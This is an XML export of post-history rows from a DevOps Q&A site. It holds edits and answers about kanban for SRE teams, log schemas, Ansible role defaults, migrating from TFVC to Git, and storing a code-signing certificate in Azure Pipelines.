  <row Id="25660" PostHistoryTypeId="1" PostId="8758" RevisionGUID="f592c2d2-f8bf-41e6-ba63-1eaaafd5e4cb" CreationDate="2019-07-30T15:57:19.500" UserId="7078" Text="Is scrum or kanban really useful for SRE teams?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25661" PostHistoryTypeId="3" PostId="8758" RevisionGUID="f592c2d2-f8bf-41e6-ba63-1eaaafd5e4cb" CreationDate="2019-07-30T15:57:19.500" UserId="7078" Text="&lt;process&gt;&lt;sre&gt;&lt;agile&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25662" PostHistoryTypeId="5" PostId="8758" RevisionGUID="a9e6705e-3e9f-49fe-aee2-42933e085c32" CreationDate="2019-07-30T17:58:16.157" UserId="7078" Comment="added 66 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- the work is very dynamic in nature, with priorities changing on a daily basis&#xD;&#xA;- people being on call adds another dimension to the problem&#xD;&#xA;- the team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- daily standup meetings may not make much sense because of the lack of overlap between tasks&#xD;&#xA;&#xD;&#xA;I would like to hear from other SREs what their experience with sprint and kanban is." ContentLicense="CC BY-SA 4.0" />
  <row Id="25666" PostHistoryTypeId="5" PostId="157" RevisionGUID="fb8b9d89-e196-422d-973e-59ac9d6c0faf" CreationDate="2019-07-30T19:34:49.270" UserId="7078" Comment="Grammar correction" Text="When applying for a job, usually you can find two types of similar jobs: [Sysadmin Engineer][1] and [DevOps Engineer][2].&#xD;&#xA;&#xD;&#xA;Both of them deal with server configuration and ensure the reliable operation of computer systems. As such, it can be hard to tell the difference between the two. What are the main differences between these two roles? How to distinguish between them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/jobs?sort=i&amp;q=SysAdmin&#xD;&#xA;  [2]: https://stackoverflow.com/jobs?sort=i&amp;q=DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="25667" PostHistoryTypeId="24" PostId="157" RevisionGUID="fb8b9d89-e196-422d-973e-59ac9d6c0faf" CreationDate="2019-07-30T19:34:49.270" Comment="Proposed by 7078 approved by -1 edit id of 1038" ContentLicense="CC BY-SA 4.0" />
  <row Id="25668" PostHistoryTypeId="5" PostId="157" RevisionGUID="d1ca2aa1-a933-4998-b145-1c32f83d8560" CreationDate="2019-07-30T19:34:49.270" UserId="40" Comment="deleted 11 characters in body" Text="When applying for a job, usually you can find two types of similar jobs: [Sysadmin Engineer][1] and [DevOps Engineer][2].&#xD;&#xA;&#xD;&#xA;Both of them deal with server configuration and ensure the reliable operation of computer systems. As such, it can be hard to tell the difference between the two. What are the main differences between them? How to distinguish between them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/jobs?sort=i&amp;q=SysAdmin&#xD;&#xA;  [2]: https://stackoverflow.com/jobs?sort=i&amp;q=DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="25669" PostHistoryTypeId="5" PostId="8752" RevisionGUID="6a80a9f6-f3d6-4707-8d70-67e00e6e2f95" CreationDate="2019-07-30T19:36:01.017" UserId="40" Comment="deleted 54 characters in body" Text="We have a practical question I struggle to answer : &#xD;&#xA;&#xD;&#xA;&gt; What is a good logfile schema?&#xD;&#xA;&#xD;&#xA;Here are the caveats:&#xD;&#xA;&#xD;&#xA;- There are several workloads, each writing more than one log file&#xD;&#xA;- Applications are on more than one language&#xD;&#xA;- All applications are in the cloud, but on different cloud providers&#xD;&#xA;- All logs are sent to a central dashboard (e.g. Kibana) which can be queried.&#xD;&#xA;&#xD;&#xA;The requirements which this schema should fulfill are:&#xD;&#xA;&#xD;&#xA;- must be queryable (structured)&#xD;&#xA;- should be able to determine failure patterns (correlations)&#xD;&#xA;- no proprietary file formats&#xD;&#xA;&#xD;&#xA;For a particular case, we may want to set a trigger of some action based on a particular query.&#xD;&#xA;&#xD;&#xA;Assuming, e.g. we write logs in JSON format, what would be a good schema to apply to the entries, to satisfy the caveats and requirements?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25671" PostHistoryTypeId="2" PostId="8760" RevisionGUID="0fddbccf-8e49-4d7f-98dd-b8d89c99753c" CreationDate="2019-07-30T20:57:50.563" UserId="7078" Text="If you are dealing with application logs, here are the three broad categories of information that a good log file should cover:&#xD;&#xA;&#xD;&#xA;- basic context (timestamp, log level, application name, source file name, source module/function, source line number, log message)&#xD;&#xA;- server context (host name, data center name unless host name has it encoded, cluster/pod info, container info)&#xD;&#xA;- user context (request URI, username or a hash, request ID etc)&#xD;&#xA;&#xD;&#xA;If we are using JSON for logging, care must be taken to make sure that the keys are short enough to reduce the redundant overhead and also make it easier to query. " ContentLicense="CC BY-SA 4.0" />
  <row Id="25672" PostHistoryTypeId="5" PostId="8760" RevisionGUID="e10d51e1-bd16-4f29-aac8-36dd3489dad3" CreationDate="2019-07-30T21:02:58.803" UserId="7078" Comment="added 75 characters in body" Text="If you are dealing with application logs, here are the three broad categories of information that a good log file should cover:&#xD;&#xA;&#xD;&#xA;- basic context (timestamp, log level, application name, source file name, source module/function, source line number, log message)&#xD;&#xA;- server context (host name, data center name unless host name has it encoded, cluster/pod info, container info)&#xD;&#xA;- user context (request URI, username or a hash, request ID etc)&#xD;&#xA;&#xD;&#xA;If we are using JSON for logging, care must be taken to make sure that the keys are short enough to reduce the redundant overhead and also make it easier to query.&#xD;&#xA;&#xD;&#xA;In the structured format, stack traces become a little tricky to handle." ContentLicense="CC BY-SA 4.0" />
  <row Id="25673" PostHistoryTypeId="2" PostId="8761" RevisionGUID="214004f2-aed8-4330-89e8-a13d4570cf74" CreationDate="2019-07-30T21:10:55.160" UserId="7715" Text="&gt;Q: &quot; Prevent misspelled variables passed to Ansible roles ... remove the defaults/main.yml, ... But then I can't take advantage of the benefits of having defaults. Are there other solutions?&#xD;&#xA;&#xD;&#xA;A: Yes. Tell *include_role* to read other file [*defaults_from*](https://docs.ansible.com/ansible/latest/modules/include_role_module.html#parameters). Fit the content of this file to your needs. For example&#xD;&#xA;&#xD;&#xA;    - include_role:&#xD;&#xA;        name: foo&#xD;&#xA;        defaults_from: main_special.yml&#xD;&#xA;      vars:&#xD;&#xA;        fooo_version: &quot;2.0&quot;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25674" PostHistoryTypeId="50" PostId="8478" RevisionGUID="b4d89e50-8f6b-400b-aaf1-a2490436ada1" CreationDate="2019-07-30T22:01:40.207" UserId="-1" />
  <row Id="25675" PostHistoryTypeId="50" PostId="8467" RevisionGUID="fdbfe674-8b52-4a7f-bff1-76b3aca5d7a1" CreationDate="2019-07-30T23:02:50.367" UserId="-1" />
  <row Id="25676" PostHistoryTypeId="5" PostId="8758" RevisionGUID="a195e98b-df50-4444-ae4a-c8d783341549" CreationDate="2019-07-31T00:55:06.030" UserId="7078" Comment="added 225 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis&#xD;&#xA;- People being on call adds another dimension to the problem&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap between tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;I would like to hear from other SREs what their experience with sprint and kanban is." ContentLicense="CC BY-SA 4.0" />
  <row Id="25680" PostHistoryTypeId="2" PostId="8763" RevisionGUID="ac37ed55-76db-4d0c-a622-fd32d36f97a3" CreationDate="2019-07-31T03:00:27.767" UserId="13217" Text="I came up with what I think is a pretty good solution.&#xD;&#xA;&#xD;&#xA;First, it requires the addition of this to each role:&#xD;&#xA;```&#xD;&#xA;- assert:&#xD;&#xA;    that: &quot;{{ item.key }} is defined&quot;&#xD;&#xA;    fail_msg: &quot;Attempted to override an unknown variable: {{ item.key }}&quot;&#xD;&#xA;    quiet: yes&#xD;&#xA;  loop: &quot;{{ lookup('dict', override) }}&quot;&#xD;&#xA;&#xD;&#xA;- set_fact: { &quot;{{ item.key }}&quot;:&quot;{{ item.value }}&quot; }&#xD;&#xA;  loop: &quot;{{ lookup('dict', override) }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Second, it requires that when you override defaults with `import_role` that you do the following:&#xD;&#xA;```&#xD;&#xA;- include_role:&#xD;&#xA;    name: foo&#xD;&#xA;  vars:&#xD;&#xA;    override:&#xD;&#xA;      fooo_version: &quot;2.0&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The first block of code now loops through the passed `override` dictionary, and verifies that each key already is defined as a variable. So in the above example, the assert would fail because `fooo_version` is not defined. It then loops through the `override` dictionary a second time and uses `set_fact` to set the value of each key:val pair in the dictionary." ContentLicense="CC BY-SA 4.0" />
  <row Id="25681" PostHistoryTypeId="5" PostId="8763" RevisionGUID="71be0270-774c-471e-af0c-d09957820c59" CreationDate="2019-07-31T04:40:20.723" UserId="13217" Comment="Refined answer and fixed an error" Text="I came up with what I think is a pretty good solution.&#xD;&#xA;&#xD;&#xA;First, it requires the addition of this to each role:&#xD;&#xA;```&#xD;&#xA;- assert:&#xD;&#xA;    that: &quot;{{ item.key }} is defined&quot;&#xD;&#xA;    fail_msg: &quot;Attempted to override an unknown variable: {{ item.key }}&quot;&#xD;&#xA;    quiet: yes&#xD;&#xA;  loop: &quot;{{ q('dict', override) }}&quot;&#xD;&#xA;&#xD;&#xA;- set_fact: { &quot;{{ item.key }}&quot;:&quot;{{ item.value }}&quot; }&#xD;&#xA;  loop: &quot;{{ q('dict', override) }}&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;I added those two tasks to a file, `override.yml` within `ansible/tasks/`, and then used `include_tasks` to dynamically include that file only when `override` is actually defined:&#xD;&#xA;```&#xD;&#xA;- include_tasks: &quot;tasks/override.yml&quot;&#xD;&#xA;  when: override is defined&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;Second, it requires that when you override defaults with `import_role` that you do the following:&#xD;&#xA;```&#xD;&#xA;- include_role:&#xD;&#xA;    name: foo&#xD;&#xA;  vars:&#xD;&#xA;    override:&#xD;&#xA;      fooo_version: &quot;2.0&quot;&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;The first block of code now loops through the passed `override` dictionary, and verifies that each key already is defined as a variable. So in the above example, the assert would fail because `fooo_version` is not defined. It then loops through the `override` dictionary a second time and uses `set_fact` to set the value of each key:val pair in the dictionary." ContentLicense="CC BY-SA 4.0" />
  <row Id="25682" PostHistoryTypeId="5" PostId="8760" RevisionGUID="7e16e041-fa71-447b-976b-15986bd74801" CreationDate="2019-07-31T05:48:05.980" UserId="7078" Comment="added 240 characters in body" Text="If you are dealing with application logs, here are the three broad categories of information that a good log file should cover:&#xD;&#xA;&#xD;&#xA;- basic context (timestamp, log level, application name, source file name, source module/function, source line number, log message)&#xD;&#xA;- server context (host name, data center name unless host name has it encoded, cluster/pod info, container info)&#xD;&#xA;- user context (request URI, username or a hash, request ID etc)&#xD;&#xA;&#xD;&#xA;If we are using JSON for logging, care must be taken to make sure that the keys are short enough to reduce the redundant overhead and also make it easier to query.  Using all lowercase and underscores for keys could be a better idea because some of the log aggregators like Splunk are case sensitive.&#xD;&#xA;&#xD;&#xA;In the structured format, stack traces become a little tricky to handle.  One solution is to use a marker line to indicate the end of a long line rather than just the newline." ContentLicense="CC BY-SA 4.0" />
  <row Id="25683" PostHistoryTypeId="2" PostId="8764" RevisionGUID="a2ea9249-f90a-4d13-9ba1-28a3ac15d357" CreationDate="2019-07-31T05:49:27.473" UserId="16282" Text="Short Answer: You do programming here. Consider Programming Standards (cleancode) like &quot;package by feature&quot; and build role which are reusable and express the reason of the role.&#xD;&#xA;e.g. &#xD;&#xA;&#xD;&#xA;    roles:&#xD;&#xA;      - role: jdk&#xD;&#xA;      - role: tomcat  &#xD;&#xA;          (contains tasks with 'install tomcat', 'configure tomcat' ) &#xD;&#xA;          (requires jdk)&#xD;&#xA;      - role: the_wepapp &#xD;&#xA;          (requires tomcat)&#xD;&#xA;      " ContentLicense="CC BY-SA 4.0" />
  <row Id="25684" PostHistoryTypeId="5" PostId="8764" RevisionGUID="bcdaadc5-cced-4386-8321-58d67c3e23c2" CreationDate="2019-07-31T05:54:29.343" UserId="16282" Comment="added 87 characters in body" Text="Short Answer: You do programming here. Consider Programming Standards (cleancode) like &quot;package by feature&quot; and build role which are reusable and express the reason of the role.&#xD;&#xA;e.g. &#xD;&#xA;&#xD;&#xA;    roles:&#xD;&#xA;      - role: jdk&#xD;&#xA;      - role: tomcat  &#xD;&#xA;          (contains tasks with 'install tomcat', 'configure tomcat' ) &#xD;&#xA;          (requires jdk)&#xD;&#xA;      - role: the_wepapp &#xD;&#xA;          (requires tomcat)&#xD;&#xA;&#xD;&#xA;Futhermore: The underlying role e.g. the jdk should never know about the tomcat role etc..." ContentLicense="CC BY-SA 4.0" />
  <row Id="25685" PostHistoryTypeId="4" PostId="8690" RevisionGUID="f9ef0040-a211-48d3-a925-2381b346716f" CreationDate="2019-07-31T06:01:23.510" UserId="7078" Comment="Edited title for clarity" Text="Where do I start learning DevOps?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25686" PostHistoryTypeId="24" PostId="8690" RevisionGUID="f9ef0040-a211-48d3-a925-2381b346716f" CreationDate="2019-07-31T06:01:23.510" Comment="Proposed by 7078 approved by -1 edit id of 1040" ContentLicense="CC BY-SA 4.0" />
  <row Id="25687" PostHistoryTypeId="5" PostId="8690" RevisionGUID="feb2372b-7f64-4857-a88d-79fdf2a6c9ac" CreationDate="2019-07-31T06:01:23.510" UserId="40" Comment="deleted 54 characters in body" Text="Searching &quot;how to start with devops&quot; didn't really help as, many of them like [this][1] and [this][2] as well as many others don't really point me in the right way. Every youtube video I have seen so far hasn't helped either (as I don't need videos explaining to me what IS devops), [this][3] video being the only true exception so far (that shows how things integrate with each other).&#xD;&#xA;&#xD;&#xA;I am a CCNA and also highly proficient with DBMS-s (currently learning parallelism execution as well as other stuff). &#xD;&#xA;&#xD;&#xA;But I have no idea what I am supposed to learn first (or where to find the **correct** resources for that matter).&#xD;&#xA;&#xD;&#xA; I am about to graduate, so I have no access to real world experience. &#xD;&#xA;&#xD;&#xA;Any advice or help?&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.com/9%C2%BD-simple-steps-start-devops-today/&#xD;&#xA;  [2]: https://hackernoon.com/the-roadmap-to-become-a-devops-dude-from-server-to-serverless-dd97420f640e&#xD;&#xA;  [3]: https://youtu.be/JHoy3lDZOfY" ContentLicense="CC BY-SA 4.0" />
  <row Id="25688" PostHistoryTypeId="5" PostId="157" RevisionGUID="c6bbef42-48dc-45dd-88f0-74d80a8ef4f5" CreationDate="2019-07-31T06:03:24.947" UserId="7078" Comment="Removed a redundant sentence." Text="When applying for a job, usually you can find two types of similar jobs: [Sysadmin Engineer][1] and [DevOps Engineer][2].&#xD;&#xA;&#xD;&#xA;Both of them deal with server configuration and ensure the reliable operation of computer systems. As such, it can be hard to tell the difference between the two. What are the main differences between them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/jobs?sort=i&amp;q=SysAdmin&#xD;&#xA;  [2]: https://stackoverflow.com/jobs?sort=i&amp;q=DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="25689" PostHistoryTypeId="24" PostId="157" RevisionGUID="c6bbef42-48dc-45dd-88f0-74d80a8ef4f5" CreationDate="2019-07-31T06:03:24.947" Comment="Proposed by 7078 approved by -1 edit id of 1039" ContentLicense="CC BY-SA 4.0" />
  <row Id="25690" PostHistoryTypeId="5" PostId="157" RevisionGUID="5dd9d4ee-6a03-49a3-b710-2a74aeea04f4" CreationDate="2019-07-31T06:03:24.947" UserId="40" Comment="deleted 9 characters in body" Text="When applying for a job, usually you can find two types of similar jobs: [Sysadmin Engineer][1] and [DevOps Engineer][2].&#xD;&#xA;&#xD;&#xA;Both of them deal with server configuration and ensure the reliable operation of computer systems. It can be hard to tell the difference between the two. What are the main differences between them?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stackoverflow.com/jobs?sort=i&amp;q=SysAdmin&#xD;&#xA;  [2]: https://stackoverflow.com/jobs?sort=i&amp;q=DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="25694" PostHistoryTypeId="2" PostId="8766" RevisionGUID="048957bd-d7a8-4f37-b465-91fec99f4aa0" CreationDate="2019-07-31T16:01:03.387" UserId="15792" Text="Agile works very well for this type of chaotic environment.  However, for the reasons you highlighted, pure textbook Scrum may not be a great fit.  As a Scrum Master who does a fair amount of DevOps I've used Kanban boards in Jira to track work.&#xD;&#xA;&#xD;&#xA;**Kanban Advantages**&#xD;&#xA;&#xD;&#xA; - Visualization of the work the team is doing.&#xD;&#xA; - Identifies bottle necks for the team.&#xD;&#xA; - Helps keep the team focused on moving work along.&#xD;&#xA; - Allows for work to be added at any point.&#xD;&#xA; - Gives visibility to work being done for other teams that are relying on the SREs.&#xD;&#xA; - Can be generic to cover multiple types of jobs.&#xD;&#xA;&#xD;&#xA;While a traditional stand up may not be beneficial, do consider modifying it.  A good stand up meeting highlights blockers that a team member may be facing that another team member knows how to solve." ContentLicense="CC BY-SA 4.0" />
  <row Id="25695" PostHistoryTypeId="2" PostId="8767" RevisionGUID="76a11ee1-ef72-4af6-aa12-732a26734370" CreationDate="2019-07-31T16:12:04.750" UserId="13112" Text="As of Azure DevOps Server 2019, migration from Team Foundation Version Control (TFVC) to Git is a simple import command.  However, there are caveats to the migration due to how very different Git is in how it stores changes.&#xD;&#xA;&#xD;&#xA;[Microsoft has a great write-up][1] for this migration and if you have the newer version of Azure DevOps Server or if you're in the cloud, you don't need git-tfs.&#xD;&#xA;&#xD;&#xA;But, a few highlights:&#xD;&#xA;&#xD;&#xA;   1. [Git is distributed version control][2], which means that you have a full copy of the files and all historical changes simply by cloning the repository to your machine.  You technically don't need a server, but if you have a team and collaborate, a server is needed to share changes with the team via appropriate Git workflows and branching.&#xD;&#xA;   2. Git is really good at storing text files and will only ever store a single copy of a file with each commit storing a snapshot of the differences in that file over time.  Binary files require storage of the full file for each commit that changes the file.&#xD;&#xA;   3. When binary files need to be stored in a Git repo, it's best to use [Git LFS][3] (Large File System).  This allows you to mark files as large/binary and Git will only track a reference to the file, not the actual file itself.  This keeps the repository small and nimble.&#xD;&#xA;   4. When you have an enormous repository (files/history) that is in the 2-4 GB range, you may need the Microsoft-contributed [Virtual File System for Git][4], which Microsoft uses for its enormous 500 GB Windows code-base that developers all around the globe work from.  Contributions from Microsoft and the rest of the open-source community have done a great job of keeping Git commands performance-tuned for larger repos, but VFS for Git is a big leap for repos that cannot be small.&#xD;&#xA;&#xD;&#xA;If you are still running an older version of TFS that doesn't yet have the easy import option, that's OK.  Usage of git-tfs is a viable solution.  In either case, there will potentially be work involved if your code-base if you stored a lot of binary files in TFVC compared to text/code.&#xD;&#xA;&#xD;&#xA;What git-tfs is actually doing is creating a historical clone of your TFVC repository into a local Git repository by replaying the history and creating Git commits.  The tool can be used as a way to bridge a TFVC repo and Git repo, but you are better off fully migrating to Git and removing the TFVC repository.&#xD;&#xA;&#xD;&#xA;Once you decide to fully migrate, it's best to do the migration in a few steps locally in the new cloned Git repo before pushing it to the TFS server as the origin.  This allows you to clean up any history of binary files that may be needed.  The [BFG Repo-Cleaner][5] can be used for this which can re-write history in the Git repo to remove all but the latest change to files like binaries, thus reducing the physical size of the Git repo on disk.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/repos/git/import-from-tfvc?view=azure-devops&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Git&#xD;&#xA;  [3]: https://help.github.com/en/articles/about-git-large-file-storage&#xD;&#xA;  [4]: https://vfsforgit.org/&#xD;&#xA;  [5]: https://rtyley.github.io/bfg-repo-cleaner/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25696" PostHistoryTypeId="5" PostId="8767" RevisionGUID="a72a2177-7c62-4830-8fcb-0d2541eabff8" CreationDate="2019-07-31T16:28:15.670" UserId="13112" Comment="Added link to manual migration documentation" Text="As of Azure DevOps Server 2019, migration from Team Foundation Version Control (TFVC) to Git is a simple import command.  However, there are caveats to the migration due to how very different Git is in how it stores changes.&#xD;&#xA;&#xD;&#xA;[Microsoft has a great write-up][1] for this migration and if you have the newer version of Azure DevOps Server or if you're in the cloud, you don't need git-tfs.&#xD;&#xA;&#xD;&#xA;But, a few highlights:&#xD;&#xA;&#xD;&#xA;   1. [Git is distributed version control][2], which means that you have a full copy of the files and all historical changes simply by cloning the repository to your machine.  You technically don't need a server, but if you have a team and collaborate, a server is needed to share changes with the team via appropriate Git workflows and branching.&#xD;&#xA;   2. Git is really good at storing text files and will only ever store a single copy of a file with each commit storing a snapshot of the differences in that file over time.  Binary files require storage of the full file for each commit that changes the file.&#xD;&#xA;   3. When binary files need to be stored in a Git repo, it's best to use [Git LFS][3] (Large File System).  This allows you to mark files as large/binary and Git will only track a reference to the file, not the actual file itself.  This keeps the repository small and nimble.&#xD;&#xA;   4. When you have an enormous repository (files/history) that is in the 2-4 GB range, you may need the Microsoft-contributed [Virtual File System for Git][4], which Microsoft uses for its enormous 500 GB Windows code-base that developers all around the globe work from.  Contributions from Microsoft and the rest of the open-source community have done a great job of keeping Git commands performance-tuned for larger repos, but VFS for Git is a big leap for repos that cannot be small.&#xD;&#xA;&#xD;&#xA;If you are still running an older version of TFS that doesn't yet have the easy import option, that's OK.  Usage of git-tfs is a viable solution and Microsoft also has a [great write-up for how to approach this manual migration][5].  In either case, there will potentially be work involved if your code-base if you stored a lot of binary files in TFVC compared to text/code.&#xD;&#xA;&#xD;&#xA;What git-tfs is actually doing is creating a historical clone of your TFVC repository into a local Git repository by replaying the history and creating Git commits.  The tool can be used as a way to bridge a TFVC repo and Git repo, but you are better off fully migrating to Git and removing the TFVC repository.&#xD;&#xA;&#xD;&#xA;Once you decide to fully migrate, it's best to do the migration in a few steps locally in the new cloned Git repo before pushing it to the TFS server as the origin.  This allows you to clean up any history of binary files that may be needed.  The [BFG Repo-Cleaner][6] can be used for this which can re-write history in the Git repo to remove all but the latest change to files like binaries, thus reducing the physical size of the Git repo on disk.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.microsoft.com/en-us/azure/devops/repos/git/import-from-tfvc?view=azure-devops&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Git&#xD;&#xA;  [3]: https://help.github.com/en/articles/about-git-large-file-storage&#xD;&#xA;  [4]: https://vfsforgit.org/&#xD;&#xA;  [5]: https://docs.microsoft.com/en-us/azure/devops/learn/git/migrate-other-systems-to-git&#xD;&#xA;  [6]: https://rtyley.github.io/bfg-repo-cleaner/" ContentLicense="CC BY-SA 4.0" />
  <row Id="25697" PostHistoryTypeId="2" PostId="8768" RevisionGUID="872bf3d7-1388-4142-a171-af9d12957750" CreationDate="2019-07-31T16:40:01.937" UserId="16295" Text="I own a public and open-source Windows Forms/C# application in a Github repo that I want to start code signing with my certificate through Azure Pipelines CI.  I have set up my pipeline and it is building fine, the next step is to integrate automatic code signing, which until this point I have been doing manually. I have taken the following steps:&#xD;&#xA;&#xD;&#xA; - Certificate has been added to Secure File storage&#xD;&#xA; - Code Signing Extension Installed https://marketplace.visualstudio.com/items?itemName=stefankert.codesigning&#xD;&#xA; - Task variables have been created and marked as secret&#xD;&#xA;&#xD;&#xA;After adding a task, the YML generating is:&#xD;&#xA;&#xD;&#xA;`- task: codesigning@2&#xD;&#xA;  inputs:&#xD;&#xA;    secureFileId: '$(certName)'&#xD;&#xA;    signCertPassword: '$(certPass)'&#xD;&#xA;    files: '**/*.exe'&#xD;&#xA;    timeServer: 'http://timestamp.digicert.com'&#xD;&#xA;    hashingAlgorithm: 'SHA256'&#xD;&#xA;`&#xD;&#xA;&#xD;&#xA;So, saving this, it is obviously going to update my **azure-pipelines.yml** in my repository. Is it possible to perform code signing in Azure Pipelines without exposing any information in the repository?  Is this considered best practice for code-signing in Azure Pipelines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25698" PostHistoryTypeId="1" PostId="8768" RevisionGUID="872bf3d7-1388-4142-a171-af9d12957750" CreationDate="2019-07-31T16:40:01.937" UserId="16295" Text="Storing Code Signing Certificate" ContentLicense="CC BY-SA 4.0" />
  <row Id="25699" PostHistoryTypeId="3" PostId="8768" RevisionGUID="872bf3d7-1388-4142-a171-af9d12957750" CreationDate="2019-07-31T16:40:01.937" UserId="16295" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="25700" PostHistoryTypeId="2" PostId="8769" RevisionGUID="3b76ef72-e1b3-4e4e-bf5f-cb693468864e" CreationDate="2019-07-31T16:55:16.220" UserId="16296" Text="Atlassian Labs have now provided this functionality as an add-on: https://marketplace.atlassian.com/apps/1219706/conditional-tasks-for-bamboo?hosting=server&amp;tab=overview&#xD;&#xA;&#xD;&#xA;Only available for versions 6.7.1+" ContentLicense="CC BY-SA 4.0" />
  <row Id="25701" PostHistoryTypeId="5" PostId="8768" RevisionGUID="aaf92479-85f7-4605-b05d-a0e9a99b90fc" CreationDate="2019-07-31T19:29:23.173" UserId="397" Comment="Converted inline fixed-with to code-block" Text="I own a public and open-source Windows Forms/C# application in a Github repo that I want to start code signing with my certificate through Azure Pipelines CI.  I have set up my pipeline and it is building fine, the next step is to integrate automatic code signing, which until this point I have been doing manually. I have taken the following steps:&#xD;&#xA;&#xD;&#xA; - Certificate has been added to Secure File storage&#xD;&#xA; - Code Signing Extension Installed https://marketplace.visualstudio.com/items?itemName=stefankert.codesigning&#xD;&#xA; - Task variables have been created and marked as secret&#xD;&#xA;&#xD;&#xA;After adding a task, the YML generating is:&#xD;&#xA;&#xD;&#xA;```yaml&#xD;&#xA;- task: codesigning@2&#xD;&#xA;  inputs:&#xD;&#xA;    secureFileId: '$(certName)'&#xD;&#xA;    signCertPassword: '$(certPass)'&#xD;&#xA;    files: '**/*.exe'&#xD;&#xA;    timeServer: 'http://timestamp.digicert.com'&#xD;&#xA;    hashingAlgorithm: 'SHA256'&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;So, saving this, it is obviously going to update my **azure-pipelines.yml** in my repository. Is it possible to perform code signing in Azure Pipelines without exposing any information in the repository?  Is this considered best practice for code-signing in Azure Pipelines?" ContentLicense="CC BY-SA 4.0" />
  <row Id="25702" PostHistoryTypeId="5" PostId="8758" RevisionGUID="ead55151-ff92-4e06-8198-d5cc94865661" CreationDate="2019-07-31T19:33:46.157" UserId="7078" Comment="added 89 characters in body" Text="Agile practices like scrum and kanban were primarily designed for software development.&#xD;&#xA;&#xD;&#xA;Interrupt and unplanned work is a significant component of what most SRE or DevOps teams do.  While it is always useful to use a tracking system like Jira to manage work, do sprint or kanban really work for SRE teams?&#xD;&#xA;&#xD;&#xA;The constraints I see are:&#xD;&#xA;&#xD;&#xA;- The work is very dynamic in nature, with priorities changing on a daily basis&#xD;&#xA;- People being on call adds another dimension to the problem. Sometimes, more than one team member might get involved in on call / post-mortem tasks.&#xD;&#xA;- The team doesn't have a single &quot;product&quot; and hence it doesn't yield itself to a common planning process&#xD;&#xA;- Daily standup meetings may not make much sense because of the lack of overlap between tasks&#xD;&#xA;- The team might be working on tasks related to more than one partner teams and hence spanning multiple Jira projects.  Since a sprint or kanban board allows only one Jira project, it may not be able to fit in all the work.&#xD;&#xA;&#xD;&#xA;I would like to hear from other SREs what their experience with sprint and kanban is." ContentLicense="CC BY-SA 4.0" />
  <row Id="25703" PostHistoryTypeId="2" PostId="8770" RevisionGUID="f820e827-f5b2-4c3d-a5e6-9e0251ca5f4d" CreationDate="2019-07-31T19:45:35.867" UserId="397" Text="From what I can see you have done everything correctly, you have stored both the certificate material (i.e. the PFX) and the password for the PFX in a secure location that presumably no one else can access.  Assuming you don't give anyone else permissions on your Azure tenant and you don't blindly accept pull requests that change `azure-pipelines.yml` then you are in a good place.&#xD;&#xA;&#xD;&#xA;If you are feeling paranoid, then you could create a second pipeline using a private repository that is triggered when the previous pipeline completes successfully.  However, IMHO, I would carefully consider the risk you are exposing yourself to against the complexity and fragility of trying to tie two pipelines together." ContentLicense="CC BY-SA 4.0" />
